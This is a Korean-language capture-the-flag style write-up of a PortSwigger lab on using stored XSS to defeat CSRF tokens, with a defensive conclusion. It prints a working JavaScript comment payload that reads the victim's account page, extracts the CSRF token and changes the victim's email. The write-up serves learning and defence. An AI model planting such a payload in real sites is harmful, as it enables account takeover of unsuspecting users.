[Write-Up] PortSwigger - Exploiting XSS to Bypass CSRF Defenses

목차


문제 분석

난이도: PRACTITIONER
Lab: Exploiting XSS to bypass CSRF defenses

image.png

블로그 댓글 기능에 Stored XSS가 존재한다. 피해자의 브라우저에서 계정 페이지를 읽어 CSRF 토큰을 획득하고, 해당 토큰으로 피해자의 이메일 주소를 변경하면 문제가 해결된다. 실습 계정은 wiener:peter다.

XSS 진단

이메일 변경 폼은 다음과 같이 CSRF 토큰을 요구한다.

<form action="/my-account/change-email" method="POST">
    <input type="email" name="email" value="">
    <input type="hidden" name="csrf" value="<csrf-token>">
    <button type="submit">Update email</button>
</form>

외부 사이트에서 수행하는 일반적인 CSRF 공격은 토큰 값을 읽을 수 없지만, Stored XSS 코드는 대상 애플리케이션과 같은 출처에서 실행된다. 따라서 /my-account 응답을 읽고 토큰을 추출한 뒤 인증 쿠키가 포함된 상태로 변경 요청까지 보낼 수 있다.


익스플로잇

다음 스크립트를 댓글 본문에 저장한다.

<script>
(async () => {
    const response = await fetch('/my-account');
    const html = await response.text();
    const documentNode = new DOMParser().parseFromString(html, 'text/html');
    const csrf = documentNode.querySelector('input[name="csrf"]').value;

    await fetch('/my-account/change-email', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: new URLSearchParams({
            email: 'xss@xss.com',
            csrf: csrf
        })
    });
})();
</script>

피해자가 게시글을 열면 스크립트가 같은 출처의 계정 페이지를 요청한다. DOMParser로 응답 HTML을 파싱해 토큰을 얻은 뒤 이메일 변경 요청의 본문에 포함한다. 브라우저는 두 요청에 피해자의 세션 쿠키를 자동으로 첨부한다.

image.png

피해자의 이메일이 변경되면서 문제가 해결된다.


정리

CSRF 토큰은 외부 출처가 민감한 응답을 읽지 못한다는 전제를 활용한다. XSS는 신뢰된 출처 안에서 코드를 실행하므로 토큰을 읽고 유효한 요청을 만들 수 있다. 따라서 CSRF 방어는 XSS의 대체 방어가 될 수 없으며, 두 취약점은 별도로 제거해야 한다.